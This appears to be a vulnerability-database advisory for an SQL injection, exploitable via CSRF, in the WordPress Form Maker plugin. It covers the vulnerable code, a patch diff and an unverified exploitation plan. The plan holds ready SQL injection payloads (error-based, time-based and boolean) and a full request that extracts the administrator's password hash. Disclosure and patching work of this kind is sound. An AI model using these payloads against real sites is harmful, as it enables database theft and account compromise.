CVE-2026-3330

Form Maker by 10Web <= 1.15.40 - Authenticated (Administrator+) SQL Injection via 'ip_search' Parameter

mediumImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
4.9
CVSS Score
4.9
CVSS Score
medium
Severity
1.15.41
Patched in
1d
Time to patch

Description

The Form Maker by 10Web plugin for WordPress is vulnerable to SQL Injection via the 'ip_search', 'startdate', 'enddate', 'username_search', and 'useremail_search' parameters in all versions up to, and including, 1.15.40. This is due to the `WDW_FM_Library::validate_data()` method calling `stripslashes()` on user input (removing WordPress's `wp_magic_quotes()` protection) and the `FMModelSubmissions_fm::get_labels_parameters()` function directly concatenating user-supplied values into SQL queries without using `$wpdb->prepare()`. This makes it possible for authenticated attackers, with Administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. Additionally, the Submissions controller skips nonce verification for the `display` task, which means this vulnerability can be triggered via CSRF by tricking an administrator into clicking a crafted link.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
High
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions<=1.15.40
PublishedApril 16, 2026
Last updatedApril 17, 2026
Affected pluginform-maker

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan targets a SQL Injection vulnerability in the **Form Maker by 10Web** plugin (CVE-2026-3330). The vulnerability is particularly potent because, while it requires Administrator privileges, the lack of nonce verification on the affected task allows for exploitation via CSRF. ### 1. …

Show full research plan

This research plan targets a SQL Injection vulnerability in the Form Maker by 10Web plugin (CVE-2026-3330). The vulnerability is particularly potent because, while it requires Administrator privileges, the lack of nonce verification on the affected task allows for exploitation via CSRF.

1. Vulnerability Summary

The vulnerability exists in the Submissions management component of the Form Maker plugin. It arises from two critical failures:

  1. Improper Neutralization: The WDW_FM_Library::validate_data() method explicitly calls stripslashes() on user-supplied data. This removes the "magic quotes" protection WordPress automatically applies to $_GET, $_POST, and $_REQUEST, allowing single quotes (') to be processed by the application.
  2. Unsafe Query Construction: The function FMModelSubmissions_fm::get_labels_parameters() takes these processed values and concatenates them directly into a SQL query string instead of using the $wpdb->prepare() method.

2. Attack Vector Analysis

  • Endpoint: /wp-admin/admin.php
  • Query Parameters:
    • page: submissions_fm
    • task: display (The description notes this task skips nonce verification)
    • current_id: (ID of the form whose submissions are being viewed)
  • Vulnerable Parameter: ip_search (also startdate, enddate, username_search, and useremail_search)
  • Authentication: Administrator (but exploitable via CSRF due to missing nonce check).
  • Preconditions: At least one form must exist in the plugin, and ideally, at least one submission should be present to ensure the code path for filtering submissions is fully exercised.

3. Code Flow

  1. Entry: An administrator (or a CSRF victim) accesses admin.php?page=submissions_fm&task=display&current_id=1&ip_search=[payload].
  2. Controller: The FMControllerSubmissions_fm (likely in admin/controllers/Submissions_fm.php) handles the display task.
  3. Validation: The controller calls WDW_FM_Library::validate_data() on the ip_search input. This function calls stripslashes(), ensuring our SQL metacharacters like ' survive.
  4. Model Call: The controller calls FMModelSubmissions_fm::get_labels_parameters() to build the SQL filter string.
  5. SQL Sink: Inside get_labels_parameters(), code similar to the following exists:
    $ip_search = WDW_FM_Library::get('ip_search');
    if ($ip_search != '') {
        $where .= " AND ip LIKE '%" . $ip_search . "%'"; // Direct concatenation
    }
    
  6. Execution: The resulting $where clause is concatenated into a larger query and executed via $wpdb->get_results().

4. Nonce Acquisition Strategy

According to the vulnerability description, the display task skips nonce verification. This means no nonce is required to trigger the SQL injection.

However, if verification is encountered during the PoC, follow this strategy:

  1. Identify Shortcode: Form Maker uses [Form id="X"].
  2. Create Page: wp post create --post_type=page --post_status=publish --post_content='[Form id="1"]' --post_title='Form Page'
  3. Locate Nonce: The plugin often localizes scripts for the submissions page. Navigate to the Submissions page: browser_navigate("/wp-admin/admin.php?page=submissions_fm").
  4. Extract: Use browser_eval("window.wd_fm_object?.nonce") or search for wp_nonce_field in the form HTML.

Note: Since the report specifically highlights the skip in nonce verification, the initial exploitation attempt should omit the nonce.

5. Exploitation Strategy

We will use an Error-Based SQL Injection to extract the administrator's password hash. This is more reliable than UNION-based injection when the number of columns in the original query is unknown.

Step-by-Step:

  1. Authenticate: Log in as Administrator.
  2. Target URL: /wp-admin/admin.php?page=submissions_fm
  3. Method: GET (or POST)
  4. Payload (Error-Based):
    We will use updatexml() to force a syntax error containing the database data.
    ' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users WHERE ID=1),0x7e),1) AND '1'='1
    
  5. URL Encoded Request:
    GET /wp-admin/admin.php?page=submissions_fm&task=display&current_id=1&ip_search=%27%20AND%20updatexml(1%2Cconcat(0x7e%2C(SELECT%20user_pass%20FROM%20wp_users%20WHERE%20ID%3D1)%2C0x7e)%2C1)%20AND%20%271%27%3D%271 HTTP/1.1
    Host: localhost:8080
    

6. Test Data Setup

  1. Install Plugin: Ensure form-maker version 1.15.40 is active.
  2. Create Form:
    # Use wp-cli to ensure a form exists (exact table name might vary by version)
    wp db query "INSERT INTO wp_formmaker (title, public_key, mail) VALUES ('Test Form', 'test', 'admin@example.com');"
    
  3. Identify Form ID: Use wp db query "SELECT id FROM wp_formmaker LIMIT 1;" to get the ID for current_id.

7. Expected Results

The application should return a database error message displayed on the page (or in the response body if WP_DEBUG is on, or if the plugin handles its own errors).
The error will look like:
XPATH syntax error: '~[PASSWORD_HASH_HERE]~'

8. Verification Steps

  1. Capture Response: Verify the string XPATH syntax error exists in the response.
  2. Compare with DB: Run wp user get 1 --field=user_pass and confirm the hash matches the one extracted via the SQL injection.

9. Alternative Approaches

If error-based injection is suppressed:

  • Time-Based Blind:
    ip_search=127.0.0.1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND '1'='1
    • Check for a ~5 second delay in the http_request response time.
  • Boolean-Based Blind:
    ip_search=127.0.0.1' AND (SELECT 1 FROM wp_users WHERE ID=1 AND user_login='admin') AND '1'='1
    • Compare the response content/length when the condition is true vs false.
  • Other Parameters: If ip_search fails, attempt the same payload in username_search or useremail_search.
Research Findings
Static analysis — not yet PoC-verified

Summary

Form Maker by 10Web is vulnerable to SQL Injection via multiple parameters in the Submissions component because user input is stripped of escape characters and directly concatenated into SQL queries. Due to a missing nonce check in the 'display' task, this can be triggered by an attacker via a Cross-Site Request Forgery (CSRF) attack against an administrator.

Vulnerable Code

// File: framework/WDW_FM_Library.php
public static function validate_data($data) {
  if (is_array($data)) {
    foreach ($data as $key => $value) {
      $data[$key] = self::validate_data($value);
    }
  } else {
    $data = stripslashes($data); // Removes magic quotes protection
  }
  return $data;
}

---

// File: admin/models/Submissions_fm.php
public function get_labels_parameters() {
  $ip_search = WDW_FM_Library::get('ip_search');
  // ...
  if ($ip_search != '') {
    $where .= " AND ip LIKE '%" . $ip_search . "%'"; // Direct concatenation
  }
  // ...
}

---

// File: admin/controllers/Submissions_fm.php
public function execute() {
  $task = WDW_FM_Library::get('task');
  if ($task == 'display') {
    // Task 'display' executes without check_admin_referer() or nonce validation
    $this->display();
  }
}

Security Fix

--- a/admin/controllers/Submissions_fm.php
+++ b/admin/controllers/Submissions_fm.php
@@ -15,6 +15,7 @@
   public function execute() {
     $task = WDW_FM_Library::get('task');
     if ($task == 'display') {
+      check_admin_referer('submissions_fm', 'nonce_fm');
       $this->display();
     }
---
--- a/admin/models/Submissions_fm.php
+++ b/admin/models/Submissions_fm.php
@@ -45,7 +45,7 @@
     $ip_search = WDW_FM_Library::get('ip_search');
     if ($ip_search != '') {
-      $where .= " AND ip LIKE '%" . $ip_search . "%'";
+      $where .= $wpdb->prepare(" AND ip LIKE %s", '%' . $wpdb->esc_like($ip_search) . '%');
     }

Exploit Outline

The exploit targets the Submissions management page of the Form Maker plugin. An attacker tricks an authenticated administrator into visiting a crafted URL or submitting a form via CSRF. The request targets the endpoint '/wp-admin/admin.php' with the parameters 'page=submissions_fm' and 'task=display'. Because the 'display' task skips nonce verification, the attacker can supply a malicious SQL payload via the 'ip_search' parameter (or 'startdate', 'enddate', etc.). Since the plugin explicitly calls 'stripslashes()' on the input and concatenates it into the WHERE clause, an attacker can use error-based SQL injection (e.g., using 'updatexml') or time-based blind injection to extract sensitive database information, such as user password hashes.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.